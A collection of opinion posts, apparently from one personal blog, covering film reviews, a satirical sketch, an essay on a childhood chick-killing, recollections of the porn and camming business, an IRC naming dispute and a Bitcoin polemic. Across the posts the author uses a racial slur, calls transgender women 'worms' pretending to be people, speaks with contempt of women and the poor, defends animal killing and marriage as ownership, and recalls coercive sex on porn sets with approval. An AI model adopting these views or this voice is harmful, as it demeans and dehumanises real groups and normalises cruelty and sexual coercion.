The color of money
This filmi ended up on the viewlist roughly through a giggle and a wink at "the 80s fucking sucked" quote. Holy shit does it deliver!
For one thing, the screenplay's so bad it looks like it must have been written by Tom Cruiseii, in between couch jumping sessionsiii. If you know how to read between the lines on the face of the writer, the strategy here was to make a movie based on the following problem : in a world based on dissimulationiv, how is meaning even possiblev ?
By the time the brilliant tacticians involved are done with the salad however, everything's been buried under mounds of the bitter salt of "why do you say that ?"vi, Mastroianni oops I meanvii Mastrantonio has shown her miserable bosom three times more than it'd be a good idea (she only does it twice) and everything makes about as much sense as the internal universe of Tom Cruise. Who wrote the script. He must've.
Paul Newman looks good, which is about all this thing's good for : to be run with the sound off as a sort of Empire of Newman's head and shoulders. It wouldn't even be eight hours.
———The color of money, 1986, by Martin Scorsese, with Paul Newman, Tom Cruise and the pointedly ugly Marybeth Mastrantonio. [↩]It wasn't, it comes from one Richard Price, possibly the worst copywriter cinema has ever known. He's not even crazy-bad, or funny-bad, he's just stolid-bad. [↩]Which by the way - he does here! Apparently indoor-goat had always been part of his lifestyle, you just never knew about it.
Then again, one could scarcely blame a tendency to bounce off random surfaces on people slightly taller than Nicole Kidman's crotch. [↩]Understand the premise here : the best (only ?) way to "make money" (and piddly money it will be, at any rate) through snooker hustlin' is to run some sort of confidence game on the side. This, according to various idiots from the 80s "adds a whole depth to the game". You'd have to have never went to college to imagine this is actually how depths go - which is fine, they didn't. Back then college didn't take every random Bahamas just yet. [↩]If every single game is "oh, but that's not really the real reality", then what does it mean "to have won" ? [↩]This question is verboten to amateur screenplay writers (such as Richard Pierce) and simultaneously a trope of purple prose, because its only function is to break up large monologues of Mr. Exposition, attempting a faux impression of dialogue while no dialogue whatsoever is taking place and simultaneously taking a monumental pigeon dump on the very concept of character development, let alone any possible implementation thereof. A superlatively humorous form of this is "nice lighter, looks like someone gave it to you". [↩]Hey, at least the Italian made-for-tv crapolade sports ample teenage nudity. [↩]
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Category: Trilematograf
Tuesday, 08 March, Year 8 d.Tr.
The Chosen
"Mr. Auernheimer ?"
The group was the walking, breathing definition of "ecclectic" : a Matt Dillon lookalike showing some chest hair through the unbuttoned, floral shirt ; a Neo-from-the-Matrix dude wearing black under leather, completely impervious to the summery Sun and general beach-y atmosphere ; another fellow in gray robes with a large, funny hat and finally a couple of slender Japanese teenagers in sailor outfits, the sort that ended up popular with overweight gringos of the third millenium because of their infatuation with Japan, where they had been used as widespread cultural subversion resulting from that culture's post World War reexamination of its infatuation with Germany, where they had been extremely popular a century prior on the basis of Wilhem the IInd's fixation on building a navy, it in turn driven by Britannia's various benefits from a powerful navy a century prior (that however didn't include preventing Muslim galley raids on its shores looking for poor fishermen's daughters to kidnap because who cares about those).
"Yeah ?" The pasty, overweight geek gently rolled over as he removed his head from his tanning reflector. "What the hell is this ?"
Confronted with such a turn of events, the ecclectic group broke into a barely distinct, overexcited chorus.
"We have a very important mission for you", spoke in grave tones the robed guy from under his hat.
"We are The Council", proffered the Neo, in all sterneousity.
"You must go and fight the Walkers now", giggled the shao-nu with pink hair, bouncing around in giddy excitement. The whole comicon convention looked at her with hurt disapproval, like she had just pretended to roll a natural 23 or something. The bitch.
"Leave me alone." grunted The Chosen before turning back to his stable, lowest energy configuration.
"Downvoted", swore the other sailor.
"Mr. Auernheimer you are humanatee's last hype." insisted the first salad.
"Remember that all I'm offering you is the truth, nothing more", explained the Neo.
"Hey why did you start without me!" whined a new addition to the psychopath convention, bewilderingly dressed in the same exact gray robes as the earlier arrival but sporting a livresque capotain in the wrong color, and under it a stylisized mask.
"Why are you wearing Gandalf robes if I told you once I told you a million times those aren't Guy Fawkes robes they're Gandalf robes" droned the figure in the funny hat.
"Fuck you beeesh it's my sweet body and I'll wear what I want!"
The words "sweet body" seemed to carry disproportionate, almost magical effect with The Chosen, for he turned towards the group suddenly and howled "Get lost, all of you!"
There was brief silence and then a barely audible "Reported!" coming from somewhere, but the threat of beach account suspension didn't seem to deter The Chosen, as it well shouldn't have. He bellowed with gusto "I've been to prison!" before tearing at his drapery to reveal a very white chest with a very black, slightly wavy at the edges black cross. The bad kind. The very very bad kind of black cross, because you obviously realise they come in kinds.
The audience gasped, and then wandered away sadly, to the inaudible tune of Moby's "In this world".
"He's a Nazi! I can't believe he's a Nazi!"
"I thought he was a Jew."
"Maybe he's under the Selbsthass spell", offered the guy in the capotain.
"They're fucking robes already, they're not a cape!"
On they droned, on they mumbled, on it went.
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Category: Cuvinte Sfiinte
Sunday, 24 April, Year 8 d.Tr.
The chick incident
* mircea_popescu had a friend, and a fine fellow he was, who unfortunately died young. but we were friends from childhood.
mircea_popescu my earliest memory of him is, we were in some rural setting, dun recall whose grandparents, and we had chicks (kids get young hatchlings to play with in the time and place, it's a time-honored tradition like getting your toddler one of those dingly noise things to put above the crib or w/e)
mircea_popescu some younger kid that didn't have one wanted to play with his, this guy would have none of it, eventually some adult intervened to make him share
mircea_popescu so he turned the chicks neck and threw the corpse at the whiner.
mircea_popescu school hadn't yet started, so we were prolly 6 or so. but this was a rare concept even at that age.
mircea_popescu ~EVEN~ at that age.
mircea_popescu (and to cap that story - yea the adults expressed outrage ["how could you do that!"] but no, he wasn't punished, because no there was no offense, and the father(s) wouldn't have it, or generally let the women run amok with their nonsense. so hurray for patriarchy or whatever, boo the psychopaths of this world!)
Let's delve into details here, and save the log the spam.i
A. No offense had been commited. Domestic animals, notwithstanding the fact that they are alive, are nevertheless property just like any other propety. They live at the pleasure of their owners, a life entirely for the express and exclusive purpose of dying at their owner's hand.
You may, of course, disagree with this view. Such disagreement does not make animals any less property, but it does make you less of a person - and if you disagree well enough and long enough you may well eventually - if unwillingly, or simply unawaredly - join the ranks of your aspirational crowd, the very domestic animals in question, to live at your owner's pleasure a life entirely for the express and exclusive purpose of dying at their hand.
B. The child was the owner. It was his chick, which means that it was his chick to kill, on the basis of having been given itii. He didn't acquire, through the giving, a "limited license" to "use the chick in certain approved ways". He acquired full property, to use the chick in any and all ways, then known or in the future to be devised. You may not readily grasp the importance of this difference ; it is however paramount.
C. Outrage was expressed, because there's nothing wrong with persuasion, be it merely attempted or outright successful. There's also no obligation in it, however. How outraged the women are matters if the man asks them, and no further. On its own, outrage lacks any capacity to modulate behaviour, a truth to which your own experienceiii no doubt attests.
D. The father(s) wouldn't have permitted it, because yes, the world doesn't work by itself. If the men abdicate their regulatory function of the household, the focus of the place changes from acts to whining, the economy soon collapses from productive to serviceiv then in turn hallucinationv, and the country soon enough follows from republic to democracy.
F. The whole thing is an educational exercise, which is why the killing wouldn't oughtn't and needn't be prevented. The entire fucking point of even giving low value items (chicks, three to a dollar or somesuch) to children (three to a woman) is so that they get to experience the effects of their behaviour, which means that yes all possible behaviour is on the table and stays on the table. They're not being told the story of their educational experiences, but get to actually live said, and own them, properly and outrightvi.
All this is, of course, much too expensive for the richest country in the world to ever afford. It wasn't otherwise the case through the entirety of human history - just like the early Manchuko could afford, the late Manchuko couldn't ; just as die Kais'rin couldn't afford, unser Held, Herr and eventual Konig could and so on und so weiter.
———Even at the cost of context, because yes this discussion relates to a previous discussion about "pulling the pin" and other fail-deadly devices, which in turn relates to a discussion about the state of the beloved republic, and on and on relations to relations up the tree ad infinitum. [↩]And yes, this is exactly how love works, among people. Which is why the only possible definition of marriage is for one - not both - to give himself, or herself, to the other. To give, the self, in exactly the sense, for the purpose and with the view contemplated here.
You may not be willing to expend resources to enforce the effects of such giving, which is a stance I join you in. That doesn't change much, except for rendering the recording (or, generally speaking, the public announcement) of marriage a pointless exercise. [↩]Such as the shocking lack of politicians dropping dead left and right. [↩]"We'll become filthy rich by doing each other's laundry while serving each other cupcakes." [↩]Apple could buy Russia by selling all its very valuable "intellectual property". Because totally, someone's going to trade the whip in his hand for the words in your mouth. [↩]Rather than, again, "borrow" them, under some sort of convention, license or whatever echolalic insanity. [↩]
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Category: Lifespiel
Wednesday, 16 March, Year 8 d.Tr.
The Butt Injectors
No, I wasn't kidding.
Who knew that the cure to having too much meat up your ass is stuffing some linoleum in there as well! I suppose it makes a welcome mat or something.
The instruments are packaged separately.
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Category: Zsilnic
Wednesday, 19 October, Year 8 d.Tr.
The burial ; and the impossible object.
I shall now recount to you stories from the harem.i
Around the table, funeralia being discussed, specifically my ownii, it was proposed by a daring damsel in an ululatory tone that "he was so persnickety he was buried in an impossible object" as retribution of my shooting down her nutty proposition that dead people would prefer being buried in the fetal position and caskets should therefore be spherical.
This occurs to me is a fine sententia in the style of Classical Oracles and their associated period fanfiction ; just like Oedipus was foretold to marry his mommy and be daddy's daddy, and just like Tits the Nymph dunked Achile in the Stige to render him invulnerableiii it is conceivable a mythological character would be at some point foretold to be buried in the first impossible object.
This then would serve reasonably well as a proxy for immortality, except of a rather defective, derived kind, perhaps reminescent of the classical Lich - not so much immortal as actually incapable of dying. These aren't the same thing (and while we're on the topic - yes there's a major relation between harems and Koscei, think about it if you will).
Except, of course, at the point where the first impossible object actually appears. Which opens the following mental conundrum : for the entire interval up to the apparition of the first impossible object, the mental heuristic interpreting the prophecy as a proxy for immortality held, and so a question such as eg. "What are the chances of X surviving through the week ?" would have received 100% as an universal response. After all, he can't die, can he.
The day after the apparition of the impossible object, however, the same question, ie, "What are the chances of X surviving through the week ?" would receive a much lower than 100% average response, perhaps about 30% or so.
Why ?
Nothing has changed, whatsoever. If the prophecy was in fact a valid description of reality in the manner the 2nd law of thermodynamics is, then the two unrelated (as per the prophecy) events are unrelated in the statistical sense alsoiv - they will be reunited by the contemplated final event and not before. Not before, see ? Whereas evidently if one doesn't credit such nonsense, then one doesn't credit them and that's that.
Yes, the subjective understanding of X's death by others has changed, but this isn't germane to the matter - he'll die when he dies not when they think he shall.
One way out would be to pretend that inasmuch all death is dubious (which it certainly isn't) then the confirmation of part of the prophecy lends credence to the other part, and consequently it is discovered that the fellow actually is mortal and will die, to the great surprise of everyone who thought otherwise because reasons.v
This is about as ridiculous as it sounds once plainly stated, and in more general terms : notwithstanding deep dedication of the errant human horde to the contrary, quid quodcumque faciemus, nomina nuda tenemus.
———Throughout my younger years in the 90s, I lived with a vague and unexamined notion that the Sultan of Brunei is like you know, the definitive, consummate hedonist.
Did you know that his palace has 6 rooms to the bathroom ? This... doesn't sound right, does it ?
Did you know the man took a second wife, divorced her (kept the kids), took a third wife, divorced her too (kept the kids also) ? How, pray tell, is this Sultan of Brunei in a better position than the average Schmuck of Hollywood ?
Sad, but true : there are no fiat heroes out there. [↩]How's that for keeping the Roman traditions alive! [↩]Think about it - invulnerability comes from a mantle of hate! [↩]What if yesterday he hadn't died and the impossible object hadn't showed up ? They both necessarily will, in their due time. And what if today he hadn't died yet the impossible object showed up ? It wasn't said how soon or late one event follows the other, the observation makes no practical difference, he could be buried in the impossible object sometime around year 75 billion for all you know. [↩]I actually met a fellow recently, educated, well travelled, married with children, who told me, earnestly, point blank and in social company that he believes immortality to be achievable within our lifetime. Which amusingly reminded me of a very similar conversation I had with some other similar guy about fifty eight or so hundred years ago. [↩]
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Category: Gandesc, deci gandesc
Wednesday, 07 December, Year 8 d.Tr.
The bizarro world of camwhoring
I was out of porn long before "the tubes" were a thing, which by now is well over a decade ago. The way online porn went is actually rather instructive, I suppose : as the traditional barriers to distribution faced by the various print and footage producers (recently emboldened both by cheaper film technology and by a relaxation of legislation on the topic throughout the 70s and 80s) were reduced to irrelevancy in the mid 90s as more and more people bought computers and Internet connections, porn exploded as a business.
For the early adopters it was a license to print money, literally, indisputably. Any scene was guaranteed to bring back six figures, and often enough it happened that once every downstream added up, a third or more of a modest library turned out seven! No matter how much the model got (and she really rarely got more than a few thousand), no matter how much location cost (and most of the time it was free, or free-for-sex - the rule being throughout my tenure that whoever's naked on the set is getting fucked and doesn't get to ask questions), no matter how much the photocrew would get (and often the crew would be the very businessman in question anyway), margins under 50% were a practical impossibility, and even getting them under 90% took some serious work. It was strictly impossible to spend a coupla quarters in this business and not be set for life - unless of course you were one of the models, they usually managed. Or, I guess, one of the groupie boys, they also mostly managed. Not that they seemed to mind it any, at their age and for their mental needs free pussy and open bar after hours was heaven, pure and unadulterated.
The other thing they managed was to spread the word - because what is clueless youth good for if not to gab. That, together with the ascendancy of cheap digicams and a furibund (if ultimately fruitless) drive to entrepreneuriat among the US proletariat resulted in a deluge. Originally termed "gonzo" in an obviously (to anyone but the attempters) attempt to co-op it (in a subordinate role, of course), it soon found the way to light. Supported by far reaching societal changes driven by the very production of the previous decade, homemade porn drove business porn straight out of business. By the time the WTC dust settled, only the truly clueless were still involved in what had become a desperate, costly, unrewarding and otherwise doomed tooth and nail engagement. Just as an unshaved snatch or a virginal asshole became social suicide among the teenaged set, pornography as a business became a financial impossibility for everyone else. Who could have known to predict!
That was the porn, the porn I knew, the porn I loved. It rose and it fell, like an algae bloom in the wake of a rust bucket. In its wake, other than the nostalgia of some happy few, remain of course also the less glamurous, unhappier stories of toil and labour that made comparatively tiny successes out of various things you might have heard about - and costly defeats out of so many more you'll never hear about. I did, however, hear of most of them, on account of being vaguely connected with many people in the field and because every industry of this sort works exactly as Clemens described centuries ago,
My pile of stock was not all given to me by people who wished their claims "noticed." At least half of it was given me by persons who had no thought of such a thing, and looked for nothing more than a simple verbal "thank you;" and you were not even obliged by law to furnish that. If you are coming up the street with a couple of baskets of apples in your hands, and you meet a friend, you naturally invite him to take a few. That describes the condition of things in Virginia in the "flush times." Every man had his pockets full of stock, and it was the actual custom of the country to part with small quantities of it to friends without the asking.
That's how everything ever works, that's how Bitcoin worked at first (but you weren't in it), that's how porn worked back when your mother was not yet wearing panties and still taking it in all the holes, that's how computing was at first (but is no longer - and please wake up to this). Everything's bound to go that way, parties begin in obscure fraternity and end in dullard animosity.
And so, over the years during which webcams tried to put the ashes together into some sort of chicken or maybe even turkey if not really full blown resplendent phoenix, I got all sorts of invitations to check out this or that, free credits, stuff like that. I never used any of it personally - there was always a younger set eager to take them off my hands and in all honesty I had no interest.
I understand, of course, as well as anyone, how the thing's supposed to work - the girl sits at home in front of a cheap camera connected to her computer (and to think ten brief years ago most females anyone'd want to see were not capable to turn on a machine by themselves! ye progress!) and a parade of men order her around to various degrading tasks.
That's what you think, innit ? That's what I thought myself, also. My mind did follow the incredible cheapness, the meani nature of it all. Look, no more dealing with the town's rich to use their villas for a backdrop, so that the girls get to see life from a different perspectiveii, even if briefly and between the cocks. None of that. Instead, all the "convenience" of their proletarian, poorly furnished cages and cells. The thing self-importantly calling itself an "industry", as if symbologyiii was ever industry, the thing that nevertheless drove innovation in video tech for a decade suddenly gave up the fight. Back in 1998 the groups of people doing films for the state were thrilled every time they could borrow the tech of the independent, sovereign people doing porn for the Internet. The first time anyone in cinema ever saw a cutting edge item in person was when that someone was admitted on a porn set. Yet now... the cheapest cam a girl out of work could find will do ? Aww.
But it didn't occur to me just how bizarre this world actually is, not until today. I was idly going through the list of "services that take Bitcoin" (to no end of unpleasant discoveries - such as that 4chan doesn't take it, or that Payza is a scam) when I ended up on "69BTC", a Bitcoin skin on bongacamsiv. Here's a visual aid to keep your attention :
So yes, it's true that I ended up going through the model list backwards, landing on the first girl that wasn't butt-ugly and making her day, I guess. But before that I spent almost a whole half hour in the strangest soup I've ever encountered in my life (which may not be saying much, I'm oversheltered).
For one thing, and most shocking : while you'd think camwhoring is structured to degrade and structurally degrading women, in practice it works out to the exact opposite! Because of differences of scale previously encountered in our discussion of why supermarkets ruin economies, the end result of the camsite is a horde of clearly subhuman bois hounding a very tired, very confused, stressed out female.
Which takes us to the other most shocking thing : the effects of long term cam whoring on the models are nothing short of scary. The girls look disturbingly like early Alzheimer's / late PTSD : small, repetitive, uncoordinated head and eye movements, confused speech, poor or absent reaction to stimuli... The ill effects of long term elevated cortisol are screamingly obvious even through the narrow viewport, it's outright a miserable job. Air traffic controllers have to handle fewer interruptions per second, call center slaves in India, Bangladesh, Romania or wherever have to swallow less abuse, I am not remiss to say the life of the professional camwhore is certainly and beyond any doubt the hardest professional life available.
The girls say the system "pays well", but I could scarcely see how this could be true. Taking over a girl's time costs somewhere between a few and maybe 10 dollars a minutev, of which the girl gets about half. A lawyer bills for about as much (not a good one, either) but the lawyer bills by the hour not by the minute, and works independently not on the "customer"'s monitor. Moreover, it is traditional for the people getting the absolute worst employment deals to misrepresent their lot as "good jobs", a sad fact to which anyone involved in the union fights of the early XXth century can readily attest.
Yet I could scarcely imagine something less erotic than a camshow, nudity irrespective. It was said (and not just by me) about Pasolini's work, such as for instance Salo, that it is fundamentally anti-erotic due to the very public, nonintimate construction of both story and set. If this were true (and while in principle I see it, even though certain parts are pretty hot), then camshows are so deep underwater one'd have to excavate the ocean floor. I can't begin to imagine how such a thing would get me going, and before you contemplate how this must mean I'm getting old - I had no trouble whatsoever seeing how the stuff we did in the 90s would get people born even in the other 90's going. There was absolutely nothing mysterious for anyone, us or them, in understanding why closely shaven labia and eagerly swallowed glans might raise the very dead, let alone the marginally still living. So... mno, I do not think it's me.
Otherwise, the cause of damnation is readily apparent : in cleaving apart access to the female body and the female's own attention, the camsite purports to satisfy what, in a naive first analysis is a fundamental male desire. You'd think, wouldn't you, that what the male means by preferring women strip and keep quiet, by preferring they fuck and go back home, by preferring generally to exclude a whole raft of behaviours and activities conventionallyvi dear to the female's heart is specifically this : to "objectify" the female, which is to say to reduce her to physiology. Yet as her attention bandwidth is comandeered to manage the flow of access to her anatomy (and handle the extraction of value from the process), the value of said anatomy drops, in direct proportion to the progress of the cleavage!
Turns out that what the male actually rebuffs are specific behaviours, not womanhood altogether! Yes he doesn't want you to talk so much, but this not because he doesn't like you, but because he doesn't like hearing you saying stupid shit! Yes he wants you to leave after he fucked you, but this not because he doesn't like you! Merely because he doesn't like you being annoying in bed. Who could have predicted this!
Much more importantly - turns out that cleaving things apart is, in and by itself, a very poor business model. This promises to remain an ongoing dispute for quite some time, of course. I do not blame the engineers, mind. It's not their fault that people can't figure out in the end what the fuck it is they want. But then again, I'm not so sure this is in any sense the people's fault.
———You know this word really denotes low birth, scarce means, poor prospects, a narrowness of perspective, everything but what you think it does. That because you're the only mean thing in the world - but I suppose you prefer to be called "a consumer" as you prefer to pretend that mean denotes free speech instead. [↩]You know what Englishmen generally knew of the great houses, in town and country ? About as much, never entering them other than as servants, never allowed to look up. [↩]The fundamental reason why no act of representation can ever be industry is both contained in and explained by the ancient observation that epistula non erubescit : there is no resistance of the medium involved in the act of blather. [↩]Relatively minor player, opened by some Russian dudes in 2012. Lot of traffic, rather poor value. [↩]The girl in the picture had to work a little over 3 minutes for my 10 bucks [↩]From experience this is not so - they're just compensatory behaviours. Yes your girl likes to cuddle a lot per unit of sextime, but this is not because she's a girl - it's because she's your girl. She's stuck dealing with the possibility of being a "slut", and with the implications and meanings of that symbol in a certain sociocultural context. Yet my girl is proud when I call her a slut, so clearly all the brouhaha is not because "girl". What remains is that it's because you. [↩]
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Category: Meta psihoza
Friday, 22 January, Year 8 d.Tr.
The Bickening
I wake up, not much in the mood for anything, I stumble to the screens and within five minutes I got material for an article. Which, retrospectively, I long wanted to write, just didn't know this before now. My life is great ; I am in heaven ; etcetera.
Selected quote to provide the intro :
shinohai btcbase.org/log/2016-09-01#1532863 or some stupid shit and people were complaining, so it got devoiced. next time do critical fixes - such as the control sequence of a chatbot - in real time or remove it yourself.
shinohai Sorry that bot surgery was low on list of priorities at the time.
mircea_popescu so then say "sorry, i couldn't maintain my bot to spec" not "bickering. truth helps.
shinohai Well technically there *was* bickering. Some ppl were happy with original, some didn't like >, other wanted !~
mircea_popescu people doesn't enter in this conversation, it's not a fucking vote. i guess all this can get pretty confusing.
* mircea_popescu will write an article.
There are multiple strands making a Gordian knot here. Let's pull a little at the threads.
I have the sole power to give names. This is certainly a priviledge, in that it can be used to distinguish between one and the other. It is certainly political, in that it has something to do with peoplei. Nevertheless, it is neither fair nor meaningful. This is to say, I didn't acquire it through some sort of process that is universal or repeatableii ; and they don't have any sort of actual effects anyway - a rose by any other name would smell as sweet, a bot by any other control sequence will work as well, etcetera.
Note that of course and necessarily everyone holds this exact same power, in every context that they own.iii You can redefine "niggers" to mean "bureaucrats", like I have, if you wish to follow my context ; or as anything else you wish to, entirely at your option. The only ones who have no say in any of this are the niggers in question, because : a) fuck them and b) nobody asked them anything, in that order.iv
Note also that you're not required to implement this in any particular way. For instance, any and all practical matters and resultant disputes in re "what string shall be my nickname in #trilema" are currently handled by nickserv, which is a process I don't even own, scarcely understand, nor do I care to. There's nothing wrong with this, or any other implementation, and the reason there isn't nor could there ever be anything wrong with any implementation is exactly the transcendent nature of the naming power. You can't ever lose it ; and for this reason, secure in its eternal and unyielding property like that fabled beast, you can do absolutely anything you damn well please, including not being too obtrusive about it, following Schelling point conventions in various groups (such as calling a cock a coq in Montpellier for absolutely no good reason) etcetera.
People do their best. The reason shinohai didn't fix the bot on the spot, of course, is that he didn't know how to. It doesn't happen to be a major change, or difficult to do ; but it does happen to have been scary to himv, and so even if others volunteered a cvasi-complete recipe for doing it, he still didn't approach the task. Yes, he could have been more outgoing, and just went into it notwithstanding it looked scary ; yes others could have been more explicit, and quoted exact lines of code or whatever.
The problem with these "could have beens" is that they're outright idiotic, without remainder. For the latter, please review the excellent Al Schwartz piece on complexity. Yes of course whatever arbitrary quantity of context of any text could have been explicitly stated and so made part of the text. So ? There's always going to be some context left ; and do you have any fucking idea how much space even cursory attempts at "completeness" take ? Oh, and for the former : please review the above Al Schwartz piece on complexity. Yes of course human beings, and science as an emergent behaviour of human beings, rely on paradigms, which are lists of what you're supposed to be afraid ofvi. It is the very heart and nature of sanity to pick the low hanging fruit first, and so that he did what came easy and didn't proceed into what seemed hard is the correct behaviour ; and comments to how hard or easy it "actually was" are entirely not germane to any of this.
Yes, this state of affairs does have the unfortunate side effect of incomplete solutions littering the landscape, and yes this situation is getting on my fucking nerves. But the solution can't possibly be pretending the problem doesn't exist, nor any variant thereof - such as you know, declaring it doesn't exist, preferably "to the Universe", in the manner US libtards "solve" poverty, homelessness and whatever else the fuck they "solve".
People complain. This is human nature, and while the activity does attract some more than othersvii, the source of the complaint is only interesting in the second pass. If you remember the "a) fuck them and b) nobody asked them anything" algorithm from above, it applies here in the sense that the nature counts first ; and source counts second. Meaningful complaints from politically weak sources can be delayed, for a while, but at the risk of doing violence to one's own house for no good reason ; meaningless complaints however are a lot iffier - a strong enough source can actually alter the very fabric of meaning, so that what appeared as meaningless becomes magically meaningful. This magic is after all how paradigm shifts occur, be they of the nature of what alf calls "lowering into pederasty" on the basis of a concept in Russian penitentiary life, or be they of the nature of actual understanding.
Willy-nilly one is then stuck with the problem of scheduling complaints, which is to say choosing to temporarily inhibit meaningful complaints for whatever contextual reason on one hand ; and to tolerate meaningless complaints for suspicion of deep meaning on the other. Neither of these is made any easier by the fact that neither meaningfulness nor meaninglessness are realia, but abstract notions, and so open to varying evaluations by varying parties. In principle the former can be readily resolved with a plain statement of cause - which is a proposition not unlike saying that the Byzantine generals could simply exchange messages. Of course it could be, and if the statement of cause happens to be meaningful in the context of the receiver you're home free. And if not... send another one, yes ? We'll not even discuss the latter, who ever knows why anyone understands anything, and how, and what did it.
The interplay of these three threads is bound to lead to butthurt ; and not merely of the "filled with envious rage" infantile Elliotism variety, but actual honest-to-goodness sorting conflicts, the kind where one ends up with lists that look like 1, 3, 6, 8, 11, 7, 16 and has absolutely no idea what to do outside of ignore it (while that lasts) or else rage (once his cup runneth over).
Traditionally this is resolved by faith, made of exactly the same substance and working on exactly the same software that informs the infant's "I love my mother, and she would never hurt me" ; but obviously one can have only so much of that - it's a qualification like any other, "must be this tall to ride" sort of affair. Alternatively, it can be resolved by understanding, which of course is a very poisonous tree - understanding takes time, and by the time it's all done life went by and, to quote,
Huddled in dirt the reasoning engine lies, who was so proud, so witty, and so wise.
Even more alternatively, it can be resolved through not giving a shit, which is the exact equivalent of magic : for as long as it works it works splendidly well, and cheaply too! And once it stops working nobody's fixing it ever again.
In principle there is no solution ; the bickening is and will remain a fact of life.
———Yes, anything that has to do with people is political - whether people be the object the thing acts upon ; or be they the agent that uses the thing, whatever the connection, if it's there it's there. What can you do. [↩]It's not like wealth, which while a political priviledge is nevertheless required for everyone to have, as a prequalification to participating in the social conversation. It's not like knowledge, which while a political priviledge is also required as a prequalification to participating in the social conversation. Both of these are universal (ie, anyone could, in principle, get them - and if they can't or don't, that failure describes them) and repeatable (or more properly said time-invariant).
It's more like being blonde (ie, not universal) in a world where no peroxide exists (ie, not repeatable) ; or like having green eyes (ie, not universal) in a world where no contacts exist (ie, not repeatable). It's like being chosen by God, or inspired by the muses (ie, not repeatable), in a world where no hard work or reason exist (ie, not universal). It is, in other words, political priviledge outside of the reach of politics ; something that people could in no way alter through any sort of political process - a state of affairs which incredibly irks a certain sort of mind. [↩]For instance whatever you decide to nickname others' keys in gossipd will be your own problem, as has been pluriously said. You won't be required to use the comment field in e, N, comment as provided.
Currently you have to type gpg --encrypt --armor -r herpy because gpg is badly designed by the avowed enemies of the free world as well as anything nice and good ; but in a sanely functioning environment it would be gpg --encrypt --armor -r kitty if your private name for herpy is kitty.
And while we're on this, please stop using USG.DNS already! [↩]Talk about an epic example of the socialists' weapon working for them a short distance of its swing and for us the entire run of that swing. Derps figured they may gather political power through "examining" the whole naming issue ; turns out they got a little and we'll flatten them with it. [↩]As the actual shinohai points out, fear properly doesn't enter into it. This is a valid point. [↩]Ever wondered why Magnetism and Electricity aren't today, nor were ever equally understood, or equally studied ? Remember that at a time electricity didn't even exist, and magnetism was moving ships around! [↩]Especially because it is perceived - wrongly in the Republic, but rightly everywhere else - as a very cheap way to "political power" ; and so logically if that works why put in the elbow grease to do anything else, which is how America ended up not needing to ever be great again. [↩]
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Category: Bitcoin
Thursday, 01 September, Year 8 d.Tr.
That's right, time to move on. Please do. Bitcoin is really not for you.
Since yesterday's recap of the sad track record of the USG, the toomim clown received some bad news, with which he coped in the usual manner : by having a rather amusing public meltdown under the influence. Meanwhile the poopaganda machine came out in force with a pathetic chorus bemoaning "Bitcoin's death".
Whatever. For once we do agree : it's time to move on. Please do.
Bitcoin was never for you. Bitcoin was never for the poor ; Bitcoin was never for the voluble if worthless "social media" tramp ; Bitcoin was never for the soi-dissant "activist" aka scammer. Bitcoin was not for you.
And since we're doing this, let's proceed to dispell some myths.
I. It is false that Bitcoin has to be used by you for it to be valuable.
You believe man to be the measure of all things. This is a purely religious belief, exactly identical, and directly reducible, to the notion that there's a magical teapot spinning in the sky.
You believe that you are man, in the strict and strictly laughable sense that everything is equal to everything else and thus therefore you see yourself as not merely a uniquely bent spoon, vaguely related to various other better implementations of an ideal spoon and thus twice removed from that ideal but instead fully and completely, in and by yourself, equal and idempotent to everything man is, ever was or ever could be. This is also a religious belief, I suppose, although more indicative of psychopathology than what usually is called religion - on the continuum between the buddhist chanting and the fanatic beheading this sort of nonsense is certainly past the fanatic, hapilly floating in a schizoid sea towards waxy flexibility.
You put these two together and what comes out is the directly falsifiable notion that in order for Bitcoin to be valuable, it has to be usable by you. This is obviously not so : cars your whole bloodline could never, no matter what, ever afford are still cars, and valuable and enjoyed by those of your betters that can actually buy one. That nobody in your family ever wore shoes does not imply that shoes are now worthless, or "not usable". It certainly does not imply that shoes should be doing things differently. Learn a trade, marry well, do something with your life so that you too might enjoy the glory of footwear, perhaps, however briefly, however distantly in the future.
II. It is false that Bitcoin has to "do good" in order to continue to exist.
Bitcoin can kill all your friends, and all the people you respect, and every other kitten. It can poop in your drink and insult your friendship and rape your pets for all the difference it makes. If lightning strikes where you sit, whether you feel a warm cozy sort of love for it or the most burning hatred imaginable is strictly irrelevant - electricity stays. If tomorrow your house burns down you'll be advised to take more care - blaming the victim as it were. Nobody's ever going to try change the fire. More generally : the world is not built on emotions, whether you "love" world peace or "hate" world peace or both or neither makes exactly not one grain of difference to world peace.
Bitcoin is not a product, like a belt that's tied too tight and so you can adjust to be less tight, or like an engine that runs too hot and so you can adjust to run a little cooler. Bitcoin is a rule, and if you're not happy with how it works you have to change, just like if you're unhappy with the effects gravitation has on your planned plane, you must change the plan. You can't attempt to change gravitation.
And there is no such thing as voting rules. The things you vote upon are laws, not rules. They really don't matter one bit.
There are other silly things ESLi muppets believe, such as that they are creative (they're not, and I don't mean that they aren't the most creative - I mean they're below average, and markedly so) and that they're "civilised" (god help you), and that the only way they've ever seen things done is necessarily the best possible way (do read Voltaire when you have a moment) and on it goesii. But let's keep things simple and sweet, in step with the comprehension and attention span of five year olds captive in seemingly adult bodies : it's time to move on. Please do.
Bitcoin really is not for you.
———English as a single language. [↩]Add that VC's have money (no, they don't), and that they matter in the world (no, they don't) and tons and tons of other things. [↩]
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Category: Bitcoin
Tuesday, 19 January, Year 8 d.Tr.
Tangerine
Tangerinei does a good job of telling a story that has no reason to be told about some "people" who that have no reason to exist. These are, in no particular order :
The druggie "pimp" and "dealer", direct descendant of Jayii. His "place of business" is a donut shop, the minimum-wage earning cashier of which stands with him in the exact same relation schoolteacher stands with pupil, police with ghetto "citizen" and prison guard with inmate.iii
The self-deluded prostitute. A man pretending to be a woman ; at the same time a worm pretending to be a person, a nobody pretending to importance and so on. Mentally, the universe it projects is vaguely reminiscent of a public highschool in a poor neighbourhood, with its typical fixation on order pecking and utter disregard of objective reality, or any sort of sense. You should see this thing strut around concrete pavement it didn't make, not a cent in its pockets nor the notion that this is an emergency and it'd better go work butt off until the problem is fixed in its head. Baboon will show the world!!11
The other self deluded prostitute. Another man pretending to be a woman ; at the same time another worm pretending to be a person, except on the more hipster side of things. This one's "sensible" and goes through the motions of limiting "drama". Also goes through the motions of doing something with itself, in the form of paying a dive to let her sing (absolutely no talent or voice), and also personally delivering handbills to random people with an insistent entreat for them to show up (they do not).
